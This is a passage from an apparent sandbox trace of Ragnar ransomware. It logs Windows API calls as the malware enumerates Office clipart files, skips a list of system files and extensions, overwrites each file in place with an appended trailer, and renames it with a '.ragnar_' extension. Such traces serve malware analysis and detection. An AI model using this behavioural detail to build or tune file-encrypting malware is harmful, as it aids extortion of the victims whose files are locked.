Office\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.100] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb58a1900, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb58a1900, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x721c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00086_.WMF", cAlternateFileName="")) returned 1 [0082.100] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.100] lstrcpyW (in: lpString1=0x1eb62e, lpString2="FD00086_.WMF" | out: lpString1="FD00086_.WMF") returned="FD00086_.WMF" [0082.100] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned=".WMF" [0082.100] lstrcmpiW (lpString1="FD00086_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.100] lstrcmpiW (lpString1="FD00086_.WMF", lpString2="autorun.inf") returned 1 [0082.100] lstrcmpiW (lpString1="FD00086_.WMF", lpString2="boot.ini") returned 1 [0082.100] lstrcmpiW (lpString1="FD00086_.WMF", lpString2="bootfont.bin") returned 1 [0082.100] lstrcmpiW (lpString1="FD00086_.WMF", lpString2="bootsect.bak") returned 1 [0082.100] lstrcmpiW (lpString1="FD00086_.WMF", lpString2="bootmgr") returned 1 [0082.100] lstrcmpiW (lpString1="FD00086_.WMF", lpString2="bootmgr.efi") returned 1 [0082.100] lstrcmpiW (lpString1="FD00086_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.100] lstrcmpiW (lpString1="FD00086_.WMF", lpString2="desktop.ini") returned 1 [0082.100] lstrcmpiW (lpString1="FD00086_.WMF", lpString2="iconcache.db") returned -1 [0082.100] lstrcmpiW (lpString1="FD00086_.WMF", lpString2="ntldr") returned -1 [0082.100] lstrcmpiW (lpString1="FD00086_.WMF", lpString2="ntuser.dat") returned -1 [0082.101] lstrcmpiW (lpString1="FD00086_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.101] lstrcmpiW (lpString1="FD00086_.WMF", lpString2="ntuser.ini") returned -1 [0082.101] lstrcmpiW (lpString1="FD00086_.WMF", lpString2="thumbs.db") returned -1 [0082.101] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.101] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.101] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.101] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.101] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.101] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.101] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.101] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf")) returned 0x20 [0082.101] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.101] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=29212) returned 1 [0082.101] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7213, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.101] GetProcessHeap () returned 0x580000 [0082.101] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.101] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.103] VirtualAlloc (lpAddress=0x0, dwSize=0x721c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.103] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.103] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.103] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x721c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x721c, lpOverlapped=0x0) returned 1 [0082.104] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.105] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x721c, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.105] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x721c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x721c, lpOverlapped=0x0) returned 1 [0082.105] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x721c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.105] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.105] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x721c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.105] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.105] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.105] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.105] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.106] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.106] GetProcessHeap () returned 0x580000 [0082.106] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.106] CloseHandle (hObject=0xf4) returned 1 [0082.106] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" [0082.106] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF.ragnar_FD7BD9FC" [0082.106] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.106] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a2c1c00, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a2c1c00, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x3772, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00090_.WMF", cAlternateFileName="")) returned 1 [0082.106] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.106] lstrcpyW (in: lpString1=0x1eb62e, lpString2="FD00090_.WMF" | out: lpString1="FD00090_.WMF") returned="FD00090_.WMF" [0082.106] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned=".WMF" [0082.106] lstrcmpiW (lpString1="FD00090_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.106] lstrcmpiW (lpString1="FD00090_.WMF", lpString2="autorun.inf") returned 1 [0082.106] lstrcmpiW (lpString1="FD00090_.WMF", lpString2="boot.ini") returned 1 [0082.106] lstrcmpiW (lpString1="FD00090_.WMF", lpString2="bootfont.bin") returned 1 [0082.106] lstrcmpiW (lpString1="FD00090_.WMF", lpString2="bootsect.bak") returned 1 [0082.107] lstrcmpiW (lpString1="FD00090_.WMF", lpString2="bootmgr") returned 1 [0082.107] lstrcmpiW (lpString1="FD00090_.WMF", lpString2="bootmgr.efi") returned 1 [0082.107] lstrcmpiW (lpString1="FD00090_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.107] lstrcmpiW (lpString1="FD00090_.WMF", lpString2="desktop.ini") returned 1 [0082.107] lstrcmpiW (lpString1="FD00090_.WMF", lpString2="iconcache.db") returned -1 [0082.107] lstrcmpiW (lpString1="FD00090_.WMF", lpString2="ntldr") returned -1 [0082.107] lstrcmpiW (lpString1="FD00090_.WMF", lpString2="ntuser.dat") returned -1 [0082.107] lstrcmpiW (lpString1="FD00090_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.107] lstrcmpiW (lpString1="FD00090_.WMF", lpString2="ntuser.ini") returned -1 [0082.107] lstrcmpiW (lpString1="FD00090_.WMF", lpString2="thumbs.db") returned -1 [0082.107] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.107] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.107] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.107] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.107] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.107] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.107] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.107] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf")) returned 0x20 [0082.107] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.107] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=14194) returned 1 [0082.107] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3769, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.107] GetProcessHeap () returned 0x580000 [0082.107] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.107] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.109] VirtualAlloc (lpAddress=0x0, dwSize=0x3772, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.109] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.109] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.109] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3772, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3772, lpOverlapped=0x0) returned 1 [0082.110] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.110] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3772, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.110] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3772, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3772, lpOverlapped=0x0) returned 1 [0082.111] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3772, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.111] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.111] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3772, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.111] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.111] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.111] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.111] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.111] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.111] GetProcessHeap () returned 0x580000 [0082.111] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.111] CloseHandle (hObject=0xf4) returned 1 [0082.111] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" [0082.111] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF.ragnar_FD7BD9FC" [0082.111] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.112] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb458ec00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb458ec00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x920e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00096_.WMF", cAlternateFileName="")) returned 1 [0082.112] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.112] lstrcpyW (in: lpString1=0x1eb62e, lpString2="FD00096_.WMF" | out: lpString1="FD00096_.WMF") returned="FD00096_.WMF" [0082.112] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned=".WMF" [0082.112] lstrcmpiW (lpString1="FD00096_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.112] lstrcmpiW (lpString1="FD00096_.WMF", lpString2="autorun.inf") returned 1 [0082.112] lstrcmpiW (lpString1="FD00096_.WMF", lpString2="boot.ini") returned 1 [0082.112] lstrcmpiW (lpString1="FD00096_.WMF", lpString2="bootfont.bin") returned 1 [0082.112] lstrcmpiW (lpString1="FD00096_.WMF", lpString2="bootsect.bak") returned 1 [0082.112] lstrcmpiW (lpString1="FD00096_.WMF", lpString2="bootmgr") returned 1 [0082.112] lstrcmpiW (lpString1="FD00096_.WMF", lpString2="bootmgr.efi") returned 1 [0082.112] lstrcmpiW (lpString1="FD00096_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.112] lstrcmpiW (lpString1="FD00096_.WMF", lpString2="desktop.ini") returned 1 [0082.112] lstrcmpiW (lpString1="FD00096_.WMF", lpString2="iconcache.db") returned -1 [0082.112] lstrcmpiW (lpString1="FD00096_.WMF", lpString2="ntldr") returned -1 [0082.112] lstrcmpiW (lpString1="FD00096_.WMF", lpString2="ntuser.dat") returned -1 [0082.112] lstrcmpiW (lpString1="FD00096_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.112] lstrcmpiW (lpString1="FD00096_.WMF", lpString2="ntuser.ini") returned -1 [0082.112] lstrcmpiW (lpString1="FD00096_.WMF", lpString2="thumbs.db") returned -1 [0082.113] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.113] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.113] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.113] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.113] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.113] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.113] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.113] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf")) returned 0x20 [0082.113] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.113] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=37390) returned 1 [0082.113] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x9205, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.113] GetProcessHeap () returned 0x580000 [0082.113] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.113] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.115] VirtualAlloc (lpAddress=0x0, dwSize=0x920e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.115] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.115] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.115] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x920e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x920e, lpOverlapped=0x0) returned 1 [0082.117] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.117] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x920e, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.117] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x920e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x920e, lpOverlapped=0x0) returned 1 [0082.117] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x920e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.117] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.118] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x920e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.118] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.118] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.118] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.118] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.118] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.118] GetProcessHeap () returned 0x580000 [0082.118] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.118] CloseHandle (hObject=0xf4) returned 1 [0082.118] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF" [0082.118] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF.ragnar_FD7BD9FC" [0082.118] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.119] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1f69200, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb1f69200, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x3df0, 